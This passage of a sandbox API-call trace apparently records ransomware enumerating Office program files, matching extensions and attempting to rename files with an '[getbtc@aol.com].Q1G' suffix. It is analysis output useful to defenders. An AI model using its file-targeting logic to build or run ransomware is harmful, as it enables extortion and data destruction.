lpString2=".DLL") returned -1 [0265.910] lstrlenW (lpString=".7z") returned 3 [0265.910] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0265.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMPMAIL.DLL") returned 54 [0265.910] lstrlenW (lpString=".dbf") returned 4 [0265.910] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0265.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMPMAIL.DLL") returned 54 [0265.910] lstrlenW (lpString=".1cd") returned 4 [0265.910] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0265.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMPMAIL.DLL") returned 54 [0265.910] lstrlenW (lpString=".jpg") returned 4 [0265.910] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0265.910] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0265.910] lstrlenW (lpString="IMUTIL.DLL") returned 10 [0265.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMUTIL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\imutil.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0265.949] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=192896) returned 1 [0265.949] CloseHandle (hObject=0x3a0) returned 1 [0265.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMUTIL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\imutil.dll")) returned 0x20 [0265.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMUTIL.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\imutil.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMUTIL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\imutil.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMUTIL.DLL") returned 53 [0265.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMUTIL.DLL") returned 53 [0265.949] lstrlenW (lpString=".doc") returned 4 [0265.949] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0265.949] lstrlenW (lpString=".docx") returned 5 [0265.949] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0265.949] lstrlenW (lpString=".pdf") returned 4 [0265.949] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0265.949] lstrlenW (lpString=".xls") returned 4 [0265.949] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0265.949] lstrlenW (lpString=".xlsx") returned 5 [0265.949] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0265.949] lstrlenW (lpString=".ppt") returned 4 [0265.949] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0265.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMUTIL.DLL") returned 53 [0265.950] lstrlenW (lpString=".zip") returned 4 [0265.950] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0265.950] lstrlenW (lpString=".rar") returned 4 [0265.950] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0265.950] lstrlenW (lpString=".bz2") returned 4 [0265.950] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0265.950] lstrlenW (lpString=".7z") returned 3 [0265.950] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0265.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMUTIL.DLL") returned 53 [0265.950] lstrlenW (lpString=".dbf") returned 4 [0265.950] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0265.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMUTIL.DLL") returned 53 [0265.950] lstrlenW (lpString=".1cd") returned 4 [0265.950] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0265.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMUTIL.DLL") returned 53 [0265.950] lstrlenW (lpString=".jpg") returned 4 [0265.950] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0265.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMUTIL.DLL") returned 53 [0265.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMUTIL.DLL") returned 53 [0265.950] lstrlenW (lpString=".doc") returned 4 [0265.950] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0265.950] lstrlenW (lpString=".docx") returned 5 [0265.950] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0265.950] lstrlenW (lpString=".pdf") returned 4 [0265.950] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0265.950] lstrlenW (lpString=".xls") returned 4 [0265.950] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0265.950] lstrlenW (lpString=".xlsx") returned 5 [0265.950] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0265.950] lstrlenW (lpString=".ppt") returned 4 [0265.950] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0265.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMUTIL.DLL") returned 53 [0265.950] lstrlenW (lpString=".zip") returned 4 [0265.950] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0265.950] lstrlenW (lpString=".rar") returned 4 [0265.950] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0265.950] lstrlenW (lpString=".bz2") returned 4 [0265.951] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0265.951] lstrlenW (lpString=".7z") returned 3 [0265.951] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0265.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMUTIL.DLL") returned 53 [0265.951] lstrlenW (lpString=".dbf") returned 4 [0265.951] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0265.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMUTIL.DLL") returned 53 [0265.951] lstrlenW (lpString=".1cd") returned 4 [0265.951] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0265.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMUTIL.DLL") returned 53 [0265.951] lstrlenW (lpString=".jpg") returned 4 [0265.951] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0265.951] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0265.951] lstrlenW (lpString="IMWDD.DLL") returned 9 [0265.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMWDD.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\imwdd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0265.951] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=230280) returned 1 [0265.951] CloseHandle (hObject=0x3a0) returned 1 [0265.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMWDD.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\imwdd.dll")) returned 0x20 [0265.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMWDD.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\imwdd.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMWDD.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\imwdd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMWDD.DLL") returned 52 [0265.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMWDD.DLL") returned 52 [0265.952] lstrlenW (lpString=".doc") returned 4 [0265.952] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0265.952] lstrlenW (lpString=".docx") returned 5 [0265.952] lstrcmpiW (lpString1=".docx", lpString2="D.DLL") returned -1 [0265.952] lstrlenW (lpString=".pdf") returned 4 [0265.952] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0265.952] lstrlenW (lpString=".xls") returned 4 [0265.952] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0265.952] lstrlenW (lpString=".xlsx") returned 5 [0265.952] lstrcmpiW (lpString1=".xlsx", lpString2="D.DLL") returned -1 [0265.952] lstrlenW (lpString=".ppt") returned 4 [0265.952] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0265.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMWDD.DLL") returned 52 [0265.952] lstrlenW (lpString=".zip") returned 4 [0265.952] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0265.952] lstrlenW (lpString=".rar") returned 4 [0265.952] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0265.952] lstrlenW (lpString=".bz2") returned 4 [0265.952] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0265.952] lstrlenW (lpString=".7z") returned 3 [0265.953] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0265.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMWDD.DLL") returned 52 [0265.953] lstrlenW (lpString=".dbf") returned 4 [0265.953] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0265.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMWDD.DLL") returned 52 [0265.953] lstrlenW (lpString=".1cd") returned 4 [0265.953] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0265.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMWDD.DLL") returned 52 [0265.953] lstrlenW (lpString=".jpg") returned 4 [0265.953] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0265.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMWDD.DLL") returned 52 [0265.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMWDD.DLL") returned 52 [0265.953] lstrlenW (lpString=".doc") returned 4 [0265.953] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0265.953] lstrlenW (lpString=".docx") returned 5 [0265.953] lstrcmpiW (lpString1=".docx", lpString2="D.DLL") returned -1 [0265.953] lstrlenW (lpString=".pdf") returned 4 [0265.953] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0265.953] lstrlenW (lpString=".xls") returned 4 [0265.953] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0265.953] lstrlenW (lpString=".xlsx") returned 5 [0265.953] lstrcmpiW (lpString1=".xlsx", lpString2="D.DLL") returned -1 [0265.953] lstrlenW (lpString=".ppt") returned 4 [0265.953] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0265.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMWDD.DLL") returned 52 [0265.953] lstrlenW (lpString=".zip") returned 4 [0265.953] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0265.953] lstrlenW (lpString=".rar") returned 4 [0265.953] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0265.953] lstrlenW (lpString=".bz2") returned 4 [0265.953] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0265.953] lstrlenW (lpString=".7z") returned 3 [0265.953] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0265.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMWDD.DLL") returned 52 [0265.954] lstrlenW (lpString=".dbf") returned 4 [0265.954] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0265.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMWDD.DLL") returned 52 [0265.954] lstrlenW (lpString=".1cd") returned 4 [0265.954] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0265.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMWDD.DLL") returned 52 [0265.954] lstrlenW (lpString=".jpg") returned 4 [0265.954] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0265.954] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0265.954] lstrlenW (lpString="IMWIZ.DLL") returned 9 [0265.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\imwiz.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0265.967] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=16272) returned 1 [0265.967] CloseHandle (hObject=0x3a0) returned 1 [0265.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\imwiz.dll")) returned 0x20 [0265.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMWIZ.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\imwiz.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\imwiz.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMWIZ.DLL") returned 52 [0265.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMWIZ.DLL") returned 52 [0265.967] lstrlenW (lpString=".doc") returned 4 [0265.968] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0265.968] lstrlenW (lpString=".docx") returned 5 [0265.968] lstrcmpiW (lpString1=".docx", lpString2="Z.DLL") returned -1 [0265.968] lstrlenW (lpString=".pdf") returned 4 [0265.968] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0265.968] lstrlenW (lpString=".xls") returned 4 [0265.968] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0265.968] lstrlenW (lpString=".xlsx") returned 5 [0265.968] lstrcmpiW (lpString1=".xlsx", lpString2="Z.DLL") returned -1 [0265.968] lstrlenW (lpString=".ppt") returned 4 [0265.968] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0265.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMWIZ.DLL") returned 52 [0265.968] lstrlenW (lpString=".zip") returned 4 [0265.968] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0265.968] lstrlenW (lpString=".rar") returned 4 [0265.968] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0265.968] lstrlenW (lpString=".bz2") returned 4 [0265.968] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0265.968] lstrlenW (lpString=".7z") returned 3 [0265.968] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0265.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMWIZ.DLL") returned 52 [0265.968] lstrlenW (lpString=".dbf") returned 4 [0265.968] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0265.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMWIZ.DLL") returned 52 [0265.968] lstrlenW (lpString=".1cd") returned 4 [0265.968] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0265.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMWIZ.DLL") returned 52 [0265.968] lstrlenW (lpString=".jpg") returned 4 [0265.968] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0265.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMWIZ.DLL") returned 52 [0265.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMWIZ.DLL") returned 52 [0265.968] lstrlenW (lpString=".doc") returned 4 [0265.968] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0265.968] lstrlenW (lpString=".docx") returned 5 [0265.968] lstrcmpiW (lpString1=".docx", lpString2="Z.DLL") returned -1 [0265.969] lstrlenW (lpString=".pdf") returned 4 [0265.969] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0265.969] lstrlenW (lpString=".xls") returned 4 [0265.969] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0265.969] lstrlenW (lpString=".xlsx") returned 5 [0265.969] lstrcmpiW (lpString1=".xlsx", lpString2="Z.DLL") returned -1 [0265.969] lstrlenW (lpString=".ppt") returned 4 [0265.969] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0265.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMWIZ.DLL") returned 52 [0265.969] lstrlenW (lpString=".zip") returned 4 [0265.969] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0265.969] lstrlenW (lpString=".rar") returned 4 [0265.969] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0265.969] lstrlenW (lpString=".bz2") returned 4 [0265.969] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0265.969] lstrlenW (lpString=".7z") returned 3 [0265.969] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0265.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMWIZ.DLL") returned 52 [0265.969] lstrlenW (lpString=".dbf") returned 4 [0265.969] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0265.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMWIZ.DLL") returned 52 [0265.969] lstrlenW (lpString=".1cd") returned 4 [0265.969] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0265.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMWIZ.DLL") returned 52 [0265.969] lstrlenW (lpString=".jpg") returned 4 [0265.969] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0265.970] lstrcmpiW (lpString1=".EXE", lpString2=".Q1G") returned -1 [0265.970] lstrlenW (lpString="INFOPATH.EXE") returned 12 [0265.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\infopath.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0265.970] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=2578288) returned 1 [0265.970] CloseHandle (hObject=0x3a0) returned 1 [0265.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\infopath.exe")) returned 0x20 [0265.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\infopath.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.971] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\infopath.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\infopath.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0265.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE") returned 55 [0265.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE") returned 55 [0265.971] lstrlenW (lpString=".doc") returned 4 [0265.971] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0265.971] lstrlenW (lpString=".docx") returned 5 [0265.971] lstrcmpiW (lpString1=".docx", lpString2="H.EXE") returned -1 [0265.971] lstrlenW (lpString=".pdf") returned 4 [0265.971] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0265.971] lstrlenW (lpString=".xls") returned 4 [0265.971] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0265.971] lstrlenW (lpString=".xlsx") returned 5 [0265.971] lstrcmpiW (lpString1=".xlsx", lpString2="H.EXE") returned -1 [0265.971] lstrlenW (lpString=".ppt") returned 4 [0265.971] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0265.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE") returned 55 [0265.971] lstrlenW (lpString=".zip") returned 4 [0265.971] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0265.971] lstrlenW (lpString=".rar") returned 4 [0265.971] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0265.971] lstrlenW (lpString=".bz2") returned 4 [0265.971] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0265.971] lstrlenW (lpString=".7z") returned 3 [0265.971] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0265.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE") returned 55 [0265.971] lstrlenW (lpString=".dbf") returned 4 [0265.971] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0265.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE") returned 55 [0265.972] lstrlenW (lpString=".1cd") returned 4 [0265.972] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0265.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE") returned 55 [0265.972] lstrlenW (lpString=".jpg") returned 4 [0265.972] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0265.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE") returned 55 [0265.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE") returned 55 [0265.972] lstrlenW (lpString=".doc") returned 4 [0265.972] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0265.972] lstrlenW (lpString=".docx") returned 5 [0265.972] lstrcmpiW (lpString1=".docx", lpString2="H.EXE") returned -1 [0265.972] lstrlenW (lpString=".pdf") returned 4 [0265.972] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0265.972] lstrlenW (lpString=".xls") returned 4 [0265.972] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0265.972] lstrlenW (lpString=".xlsx") returned 5 [0265.972] lstrcmpiW (lpString1=".xlsx", lpString2="H.EXE") returned -1 [0265.972] lstrlenW (lpString=".ppt") returned 4 [0265.972] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0265.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE") returned 55 [0265.972] lstrlenW (lpString=".zip") returned 4 [0265.972] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0265.972] lstrlenW (lpString=".rar") returned 4 [0265.972] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0265.972] lstrlenW (lpString=".bz2") returned 4 [0265.972] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0265.972] lstrlenW (lpString=".7z") returned 3 [0265.972] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0265.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE") returned 55 [0265.972] lstrlenW (lpString=".dbf") returned 4 [0265.972] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0265.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE") returned 55 [0265.972] lstrlenW (lpString=".1cd") returned 4 [0265.972] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0265.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE") returned 55 [0265.972] lstrlenW (lpString=".jpg") returned 4 [0265.973] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0265.973] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0265.973] lstrlenW (lpString="Microsoft.Office.Infopath.dll") returned 29 [0265.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.Infopath.dll" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12\\microsoft.office.infopath.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0265.985] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=42864) returned 1 [0265.985] CloseHandle (hObject=0x3a0) returned 1 [0265.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.Infopath.dll" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12\\microsoft.office.infopath.dll")) returned 0x20 [0265.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.Infopath.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12\\microsoft.office.infopath.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.Infopath.dll" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12\\microsoft.office.infopath.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.Infopath.dll") returned 132 [0265.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.Infopath.dll") returned 132 [0265.986] lstrlenW (lpString=".doc") returned 4 [0265.986] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0265.986] lstrlenW (lpString=".docx") returned 5 [0265.986] lstrcmpiW (lpString1=".docx", lpString2="h.dll") returned -1 [0265.986] lstrlenW (lpString=".pdf") returned 4 [0265.986] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0265.986] lstrlenW (lpString=".xls") returned 4 [0265.986] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0265.986] lstrlenW (lpString=".xlsx") returned 5 [0265.986] lstrcmpiW (lpString1=".xlsx", lpString2="h.dll") returned -1 [0265.986] lstrlenW (lpString=".ppt") returned 4 [0265.986] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0265.986] lstrlenW (lpString="C:\\Program Files\\Microsoft 